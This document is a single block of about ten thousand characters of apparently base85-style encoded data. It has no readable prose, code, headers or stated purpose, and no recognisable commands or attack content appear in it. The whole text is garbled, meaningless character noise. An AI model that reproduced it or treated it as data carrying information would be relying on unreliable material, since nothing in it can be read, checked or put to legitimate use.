z+Q@fp@KB(TSy;9kf3x1)Ovl{HfS{U=#)3~C{4!|pfp}fEZj>kS$u$$){R_MNw#cb| zLN&WRdzh1!v*(B&Q1v^0M`hT~iHym+{28^xi7~-2b&OMMxNPz_35EZILkDnymb-TP z#)x5kgEnQ_X|x@H=eeXNPILF)Xg+;>#2CKU{08U|`Zb@O^I%P*CjfKm^~bB%TtUf& zoPZ{8=N%4Mex9*0Hgd0jB4bd)U}V>G9MP23`t>KDJbv@*Uq9Z+pYlDIYckK>&1dL> z!?Bw~GozO~aSO12wd+1E`SE(=05bQcR#_<`P-#&QPDX5H~j8kc2* z3xZ>-=-4JsD)bxu7E3ey_=rD!;C&<9nV_qG1VCT;^CYn0FB@aS)&q@{a7b7?&@@QM zaSP~_U<+vH&7K@`>`2!pU38_Kf1D{@pAE+dDKkd=lSu88l(t&Rj9pg_nmJ6{1k-ok zYD3fg3@ZMm+7g=hGw$X(^B$Y?f2%kDNLh${Flkq3;t?o$m>NL(2B)e$mX3k=+ERn< z!P?Z&Ns&GWDZx#MI2lKoXWzidsUaplIq=m;9a)sOyY+-?79rW!nFF_;ZY76LDQ6UT zf;pu>;D73s#U(UPoVK$@kxO6*`m}OSc{H1GsF60cat~2>K1I9 za}5ZG5$S6rbTad31VhIv6Xsu8NP@!8Qi-wob#3z53=&xc2~B#lYmAF%APrejc(q|} zv`r*Ad99}}#*Lm9{Zyu)1CdnS_bmBb|akb-=5|aFQmcO-p z7?&=bJ(2!>z9hK_Z(j0q_`-+z$J=kb_IULRU(@^XkAC7*5wi18D*aAj6w=}1!F7z{ zJWLxOK;rPj#!AIaoHOVG^QYJ)bq3RByozsZ6o!vmU4(K=-}tooNxf^w#SIxVKw#s@ z2dG3YjMGqo06=RjB?=V^5Px;SQAU=Qrmlaw?kVPAFgCEmrz1pvxibTG%{Uu-W+05j zfS)^oZLd~rd&21x4Xo^uO^#dyTa*D816mzYz11FmOsWj7o7|zug;BmO6r;u1^J9Dk z956TovHm`u^>bXBXDloVIM!CaliEbhkuWKZF>M4W`Z_oLgd`f{2&VDLEp7G)1ag5s z@qH1Qd6J*4;QrMe9J%C7!mj0H55iD$b!CU-wI+H(xPEV)3NW7N%Sc*cy4WK-0img54f^&X%019fsyly zn7ckeyIA?GbtDx-@=Z;Z3nm62p8}X~hlZckh zgP3WX5_RsFfJHCU(y}$~Bhk6yeC|1|hzrjDqeO`RC-ds-Z#>@1HJTWeVJ(q|mv;Cv z?Z=)?#qu$C*geBoQZk9bKi}4WYsZNSn9g5)P`>!VR~|1XhqpfXCeFvtfAX=q=74&G z>0?hbW=uQRXr|lv2&QcRd9SrG0E!h(vltMrxgH#WVAW0n<|-Fp?I_R@lP2en=j}}Z z1YP-QFcvw<-(rHu>OO_t>NkpDq)U0-e(Q;g5w12=Sdfy5*OI zlNF`P5gc6NQ|dVT?#af}x1h`}pGv4)HMX6a^{ZAP;s$OUazO8lf5cPK+HuiwB{7C@ z+Uh z+x(|)d_d&U91*c8m*nVoJo2^YpnczT9DdE^BSa?IAI+|homh7cYOm#l2X86{61@Oo zK%Kw&H2=FjK(OXAjdUGL#wc>f4D8m{d4k6Id1XVHPXNmw`|~XgAAg+3htzN9{}sRT+H3iw{a4fsc@i{ih9fIj34L!ixgFPHtRX7#bL}K7^B54dt`|xvKaH+-P^QxLhX87r$UN*9wB`g!7 zc;O>(_eoxj;keM%T3y9V214#gIrg+~V`%!=sggPuaIp-t2Iu1NdTO_9&BS$VYL`E$ts!y!ra!j?bJTkiF4-;VCm)9o_)Q~*N}1j zXjtI%7dng!4)G|qhj0E|2YDW=2(SW;Pr~WSG5OI-TNDQqN=spU`HYb>=lO=5K0csCIeF5~PfK&|xUp5IHHgLC`LNgiU*H=svyeod@|l^PIpSZ1xz-Zn zBJ?vK`jA5{oj9tTUYz2zg}Y#R5QF4SC@^UF6o4qT5s~%T`1F14g`aS__cb;he)16z z_Hy@g`p!5a;u~nlar&SZ7tzJimJ(&!9u-6*7C5Q;+b^?@srn3rgcuAJSCic&bhYIG z&YpyIL>B}Ppz^1U4GwXq4cqdBA6RfB-dqQE@nZn9U-_4C0;`9UzxxPlUexr$_#deYNbv zODSsNr%%gI6s~9t9na{6!JClIe@wO!qF_(uxuv0;Jzfg%1$dx6Q+~xCKb1b$lYqoz z8VazT&Fr2vK5u_=@>c)wC1MkK`O(_*igtqCULPCGH(ia#2s#SSKSMC*#AodI<`b0{ z;N*X}#^epq&O`TdR?Vb|KQm~!syYYe86&(7+<4L)y9t@Uo3UMU+xeB2bHALa2gh7d zJbzMm-kY^^VEjcfh=92J21oZE2LESl0yt9>c=r%pWB1v{w5!wcBPcV+)@ZJUHi#ak zlCtv;J%-$tO=HJTyYW>?8`QQDrW|J4_}KH~F|{Ac-AzIWb#ypTVc z`ykh7uGOq1>99UrEBrL(<`ce8{}cq2ySg-YMQcOEAD#?X&_tInnpiJ9|9Jl!-^ibJ z=NDM-d?{aw^Rveve0->Wj%t&$CF5B+=9<)SZH?|pmkh`eg#4m*jo2Tw9rFm-zAM0& zJ2J)`@U(Tii5zi&l%2=6O(Qh2gWZz$yjWPvULNQh8gWvX9J>8)3dzBOAANx94!Gm5 z#<4F4!<^reSTin=7P!OPI*E9#AfdsW#XyU=&I8V1ZoC6OxWMuATqU(__;Z2ARX%h2 zYzYvKW`oXoj{!9MoKoNN>xs?r&q~Z(uqv+JOthRpnZM0|+C7IX>Tqvus6#&ubaoAl zA5J5c3Vrv)Vn&8%-vVTN1eV^p(k>=RMBjHy0k?5aoabJvvvOmz`ET zmq6O-xaJtcCZK**+iwK@kPrWvHn7i|zsvX}csid`8uoIm;Mlv*IslL6Ps#z@@>XED zt$5s?+)K|m5M=|$b8TR48@6)-!rjvlbW!=)_=Z{T%#I8E$B)(!z1qmuVZY(2g|^-?#iKC%XJ(*gxMb8%(YMr^xN$*kXc{US>w*x zIZhmu2*2Hx#O|KZUyLAxO(6T2wk7@uRD(9LhZBGIG(a?|lEnmEPSC?|O>CjDKiiIp z5EDL{)5nUvrToupW83&u!l0Ey3Yt+xIOR{;#M%4{uy6F}P{Y~zGk@kk9NPG|ZGaqB zZ~MfSKLcGY?47@ZOapD~V;jy6pu>>FfvrN#j{}%6 zp_W|^ZQSTer=7cJw%ltgrz7}J^Br5Yp78JU68$Uwq-2#?+)SYw z%tz-TYQFzQc2#Eki3+}ZCS$@dv7CLh5VS6{vHO||9~6R+mFony%2rCI&+~0QWbl07 zEF?}`K4~@-EQ~p{uTI*VuHEz|fqCJ{PU@Rk7}7>8H!ecwoo(`q z&oK@!axOZx;?(hNaXKrtrl+vPIiE}cAy@Hsyoj!(1DOl!?h|0(NiMhC)!<@C>EJsz z_$Y&!tv%w=2-XJ~azaG0QtY41vDHFo#Wyg9wEJL6lVF}YWz*L-X&$9CEC^PTdZ1Sb zjFi9(O&$#yL$oncaWTk`E1tfm;Xa~8ls5~3id`K2h`}L$bpcGVg z-gA{qCKq7#NHu&fTBAvhmj$+3-zH~ph=`5O~af`<>!b_I+juR93*=1RMPmW0H#6-s--nwx+tpuY-E z1UPKmX?JqkUJc-Bcl^V(LVSwx)1K4cvEaJJ7b&H@rkpli<{-aRJA2!Bv737HCkLT( zB_G<{Ir#WSz`4}8cE-<~5W2w{14i!?tub>H2Q)kiN4Ch})8;&d{{NEp zrqP~W)p_TUs_ND}sH!xg0ZB*#At8jA2V-L(0fWH?57>#b?6s0^ciXG8vO3*g`dfeL z^p{R|FE`ztIIA-d+i^@g7>w-($3RR1#xZ7+KuAIp2sD*SQ>m(?>gV@7d!P5cSB0Bi zIrskGbI#t+e)c~5oOk^H@Bgx~E;vk*Th+BL;E{O7Y<$HJLzf&=jEu9hKz>;+xYRAY*?E$mwieOl!85Ncx(KoX}y#^W^m3QIPm~s z&K!b$s7)9VNSgw(V=AlgNImU=nhT`zQ$IMtCpgR8t~lD>{^HksU~LC!*;8+6ql+n; zZYR>jDPj9h)4bUDW=T5y6?3&^FHx^EbYAloX5QN#AGTM*i6G}HX^FoMK*)_#O$jpm zwt@o zb1;9>7en$#pth0UZezzmM=HFq<)8e(3AFEn;5v5fQ9r2Md(q`%`^JuO=z@!E5!V@u z=E5RSY7)kI8kjHUh@f; zwdRJ;BORu%-^(aD)A;NBZ5y0WnrrOQ+94jA^% zVB5D(^%G0!JBN}R3MuwfYP(juZSWHl3*D_vsstrFd3PHk?DJ}S)`UZnx{opV@-?FH z*e8Bl2a7@#E&j)G%Q+U60=o8$%bG2 zfaQm#UfpJww>A*M&Xfbgo%-;gp02^DAE8@rgTdZ%su)M6zJqN&X7G4U(zYG@4~|P@ z8Ki}E{B_-t`=QKF&yl}-Qqe6jqnAPZT5(yX>zvlxXB|_~=~t!n>Lt`D@`e$l^dqx{ z6Cg8*EcZC+)L1KB@cP$!upkt*YW!?AZ~N##ng$AiqeZ&7OgsCMxg-BZD*5gZd2Td@qYS5aBU3)YW5^04k7p4I)s#X3K1==^Z8Fe>&H{#@W;laf|A zI+BV&fX3mw?b9yvLTs@we~n4(d6tlN^DZ8iR>qn1F!$;UPCo2K{UCHk)*8q$pgyPp zj!e2vraEuXEa%dS0#2_R*+8nz%&!-G`pGJ=Rfu-@QS(+tqj zMyImbUckbloA|%d9-zr(y0TaE@FkawbGPprJNBLDPsjKZWaS%5${e1&kr~UROkN3x zTqn;A1z(OGsNK<5n}e_#%!}h7ddY3i0a1E?f>5%&69bv__EqibJB%q8gC0In?4O4= zyzE~(8t&lB4q?#?3?yx@K6?MMk&a`kq4cw6Y^$zu)D#B^JACQ`$4+v7+(&CN3@G+i zGCKh#HyG1e`9@AZ;_|oHH*e2L*RXbha%nXTmYU@yveb!m9FX0!Zx>4K_UotPSs9(pydxI8}$-b?(HYOVLhRs8c) ziTHC6)c6wtG5Th^bVNW9V3|;SfJNp)qh9E$>G-Wjh#S>y)3~U@3CKQFb9|vMy&nGFQELFMI1mK+%}zT#GwY*w^t_Ek6_}9~@hWp>1IC{zGi-i9GiBXzEp2QM2r8 zLdaZnYOQeaSA-^rza@VORG0){jJ?{ZY~7YL#EygJ?AMq=BKfK;zE{GtH3ghl2T&lm zQMld=0!DF~)Je27&~V+M+Q-6V#}9RKGF9lg-dN91pZho2$GNi$YaiomPv3qLM9z=p z(+3K*JMKhdd*;{YR;xWY5x~I+@UpppAn8tj@pk;sb1iEYYBi2Ms`G>X8NxPw!u{yQ z`ZI6LQ5Z*$2rQJ0UKKFv6`Pt9B{}x|2E*EInNf&sudn~OSZ|(f?9!(vb^q|tL(BEM z^#B{%?bJl&^(jK{pE}0)oGmqe-A0Ff9p~aw03CNrLqkO;AKGuSY?5K0>Ftkj2f4LNjvvz%jP4Rw){kdSw$6W&#t>GxrM=h-AYQ{&(5$qK|SU}$J#4i6xGkG}?jxa|`g zMhK}@sEKENjUk!yjG=xh>8Fjz@yC&Kk3E>i`Pf<9%W*DwffSDRk^P@Hqm`uc-EEN2 zP_Q&ki~_aST~QQkeZB*3Oj-d%U_jVjx-n)6%Nfz7MwBy z&mxPtl#=^Fl^RgwfC$!>Y;0qT(tEM0oj;o@T=_R4q*ztLEHj^4a9EFB7ov$xPO|FF z14A$!7qI8q7qYG109e)L9Rv;-X?!;;TY$*Mp!(<)5mo7q1+f@%CT z#N_oQJqgBMKaLfUUy`(d{h0)Uf`A;lD;pn_>s^3 zzr2K`_}fkC$k!}WR}K3vEp5bgOm(N%m32~5Yq)u6skXT#Bn47uTU3{Ma!) zw0>^vI&zu5Yiy7HTk1g>VFM{tc48iHSm!A4r^;=7fTN>)cuDp6RNKFFwk$an=Lf!9 zY@hyH?6W#QJfVMnU^P6fF;gZI@=bp6$&2C|tO`|h!n6(Az0jr>&9k|u)HRuV(r-VM{w$Wna7=Wyb^9QuXiMhwkrsy1| zHVb1&kQ<94AR3W*>>;p9@~)Fz_&OIRaOhKpsmO_$pZuoon9(h5;Z^XFHL>(PZtKjX z$Wq%oKF}H7dUYhP;YSyM+l<*Z918)d#7Cb8WzK^wxCtn~vtDdER{SnMIL13ai3rnj zM5}$qHQqgLT-gbhaDcNgdh3MgoLL75yH$)BmW$F=6mfu)rP#^R{l2Z{2hilif^Q0S z<;pVi257eq6OuLt-nl@|0@jOTp&@K|^_-A{IBTDbDkDXn9l)IGB}Vd}Yl7sb?9Cs( z*yBU?;*Y%nj>A4c!uB60?6%=k3F@Iq^J*qKvg zvA5FWA%MmbW8zPIiOoi##>{?bI2d(VBT;zWVCv&`d!w(m<+LkIV`3MXNe~FGSgV`d z_WCa>#fiEtTob!w?PiXvh>%k<+Vs{OST?4SaZp}7FJYKSxUH@^fq<9f_G2{w;xC`l zImaN%p1O0F{6~kHVmV6gL)fqe__2TV$q_g&!nilboJ>1_C}C$SAnV6=T}w3M zrwymg%*Rw(qy{zpP=^~ThmUUhQoH)pj-hne(_hy9;?qX)hE?rfsyhg5Z4Uvz+E6-v zUsnpy7?!Vs%Kif`Hptq(^G}9nyK@AruuyVuVxPXQ#J65Pew#R0fRvRjoveZ2(76SXCwf(>VL4-vMNF+KR70 z!P|@AwO-*8hBH*R=pTFRQC$L_85>9RJ;C~_sJ#dEAHDHb6PGBl2zmN&EE=>a<FTWZ z58;?DDOgEw2;i!~vTzB!##pF9b;X}_Hdt7qRx$r|3AWfjQ zWe!p!x0_m09E7wI`W+ZwG<0rkZ{sa_kYhQu{|>MN5!{6uZn#=z3w7kLmd`Q($0i%F z5PMMNp=6#hMA!=iyDy|nrZzR$F6zGf9d8~#^u||O@_&EiljF0W`=Z+1vf!qORrdiL zpi@kvi#fHaG16tnA(WQczW9g^cJ$pQUME5-_=7OaolX9&4MXg)k%cEz616*j?Kjzg z6^nRIY>qNxa{QU^_FqG)VFYV(Vz4r?5=~mkS}h_;>61U+ffIz%H9MPyLL}kUg*zbj zdB(GhUvgB^`$i+MP-@WW>SX$y>=e>muZng0CkAvCKi&9O9KA;153JnPIP5-NY>zg- zM)&^b@XLqyACF&gDF`1_xB53F9!W`V8XTkZhn@UmBWFN^WJ@m+zl#J;-PR*xObj*i z20CMtq%6}&KG2d|wB#st81X~tdS!1Lff=7(ZPuJ7A}~rT)j;AdHVLvw8>AXL&RDib zKCNV|Hi@Bhu&BFqx+UU*002M$Nklb;IUzve z5gS9BK@+!+Ehe!l_NJ4)p6W zZAK)K;}A+e6;rjWb4-9{aBjQj^-EWF7G#ku{yEPeYi0*W0D6VeSp0GTsCP5+CYp}V z%G~;@0UP44NL(kz_74JWP#uT;cl_3YQ;{qfcYHjsyaqmXJ$z^>aDkz8o!rbwqJbug=JSC8Lvz23}6_pz^h>E%}i~X{0dt}%j)}IWXGq(BDlaJ|~#8-eU z1q6G0jg5$FeCug!S>8aFjY7cE$6VTk)Iky#^IFGGG%=8jV;962gP~S&mxg4y*JJFo zkrk9$KeT{fOpwL+8>!Gw^W^NfHdJ)2@w#Tjg*?$twan-7_Cns@O z)~M0(+XUq=fvB@8fnp&8Sr*2zSlIDb9L4~JJ32SCL1c3Tt9HBX+RiF8+m@k40#TbE z1Bz=#ML$`hPET9=!b(kbk>?)I67@O8n!V~+bF~GU4>vsa*kj|+q4UOx@80WU_LKV1 zLwkZ{De)RF@wv2#eH~|FTx@BT{ib9fPkd*$$EM55-Zsc(TcL2<7fg9-|Amr7h_>mDudxA41 zal4HOH!Iw1Z?!jJ7_zga&DP_sAU4}Cp*ao)E8cDT=LZLlobQK|T=YEl2%nyet{|kT z@}-I-5U4@;3pknV_#<0j0y*b3UhgxNPk~z z9jNM;zwElPv3-Z#eEqh&#_=bgaBK;eAUkfnEEffHF*6WBs#>+}WZ@E_cLW3BlHQ9o z{PDDfOPKB3w~bx9Har^IU9f_K{86&=AxtjpUB3L_Ky|P48oXm!%Q7-s6|cr5x?X+k zScKli{mm4I;ZF}Mm)V?yJ#Y1xgHjMP>)046Hv9qZ4KcS6vfWT-L@c-mwntwDo|dU*cj0X5pD}^G(;A1ODTWKQ(T@ z<6Fk|aV_!4ng-77Z;TgS@q%&qyn}SdBaa>*cinTpc;f|XA48N8z>y zY--5;Yx6labhfw4O*$|ccn$#}5{ZbWkJ&>S-wwapsw9ji^OAo1?=jArU@Ip34}r;H ziI@24^J>D+_@7e(6JeioO}Db7pZGiCq%Scpvg98_#?t|GjxC&d^T;YR@i=}}l|S1j z_`;Y_?G{%52dO&D1Qm-6Al&weIAe?l0z!t78s<t4Y1 zz)#@le7gg0L-mbZA`@<9V?62xK8Mus=~LU+6Owf6)S!j4_)>J0?$p6 z;*}jYqt;4pcZGjk*UX0w9nznA9~lR9emLjO+sB!DSm-qwW9^qBfmeO(<485Ek~_3b zZQ#i5e3SjQ?YV#0(4P--Kv@6vRfy{v$u7x-eCSx_+K#GSK~z|YjnJ^O4sc-wy7G$4 z#?iz0v{;+JqO39NwoD$-KYP3PUjEbVnXza0u5s| zj>~i4$r7dp&=1BrheRZR+7mnDP-By@)(QF^w@mw?q{rLy0Aj`I`KcUXJ!5dY*u<+W z7L8&*apSYY@Lg!nx|`|)%IA^kHmwsfA{Hv&98&@+LK+^1l{|) z=caV=ovrmHXuEaooI|wAA8<)#s5D&=di-{*4s}#Ez`uTcKJ;Wq*Ym-NP`|eEzPIW} zoUxfx_I3q-*|^e1p$5`5Znm^*`IWEO0Bd8omk`TXm4zt1{7Swe@Aw@Y0jV%P$0Rtp z1&+OQPuqdlycx^baxBdJt?f-19-0nR6uMqEx5*>-vD8UQQZ|igeW7CiiKF3;pTK&E zn_?7}c_em~t_#w`iOvAV9o)=&$xTr_vDY}@)Qj4s99ULF(Zx`a1g5R;|Ecwg6qRN` zg6Luy{eoyTlE?I2#pmh%VTZnkF0gP8hFas8yCWu~#%A@>)>e{vr0@ zu~^$6?h&ly&$E{xp>MJ8dAHab(q*ssBn$Ml027;Pi*y!tUgaAB7W5T#+#qlBNR~CB zKEK67^vQ2<(D*Xk{Nm8*I72tmc6vY=29sDzfU>N1*Bt~ZOkBBEpmH$vp))2pE?Ss0 zSzu&C?Nsyc@)%%rd4f$Mi_fu%u*__1ds;M9P^;<5!xjGZ!>3j#eiH7isNIPW=K1!y z&}P^@L9rJPRM@QSdCKe*NpAl>kc@Fa7c=}$l%Ee(i(*QYtt^vQ*|J{gzQB0pq8B z@~@2p`}djRfBoQx#_?}FAzKU)l`oCihPCaOte<`|O3eBM4~J=R3I}5mzGWV&2ZkzA zp`vfwo(mKzWYXhT+ms05^dtdDu3_neH4sHmTM?%d`}Sis<7Qo^ULrEB85~^MSB1&s zbQnEPb`=yC;r8345-;YB&rYUhy=CHQ3_^wZ{$yLkrB{{l7&On?FToGv*Jt?36m1HfKYJ zbSlrrNQM}GRM}9u=eT^#p|4}dIrY$D9)BPqe%0t)7cm^Zfhr%SH!Y(jMml(hBJt3( zZ?A3aCAU3zfc#=zp-!CoYg~anE-6xnAZ_94nhF2(VJ-z|1mAM=l|5AUMFU0gt75GL8jdr1P#taLoH6LBdFtfJoF5#s0E%_)8^}7DwCB)pnpa7;qGA8?{s!E6HEfAlK<5y>-S( zG=b;%hJ6i`fYhN10(loC2C7cGF&SlP1;Lx=ui}cP(3TaKD#up1&I9y`nZ)YXa0^jI zQ0rjgq^WE>&Ke5nIljm;hHPam!p@)P0*4YV_Q{}0EHon{G%gMzn?~5;thLyc{8vF@n+a_pKjZ8|;-Cd>+$1WTB$a|h}1;@I1=9#B;4S#a% zI(p$a@d)RKBjeb^4>IJ$NCOi`UzYf?1fKY>kX1<*u`3$`_87x*;85PU+IisUIHmK` z2_17?>_-?Vw8;ZnyNI4GNuc0E8>caeQD1SP<~pZxN}#sT<_)iXh0hUK{->1B{QEEX z0p+C^UpW5mfAP2UhR%+0LgV-c|L`B_jViqvC-R!@xN%SnO5Kh>QPns-7^zZYlyQ|j zEEuDyp4Jo~O6S&NO-@?Z7EY1ZQrm0Z%07P6@BJVsZ6|^J$e!8u7_ij~91vt)e{r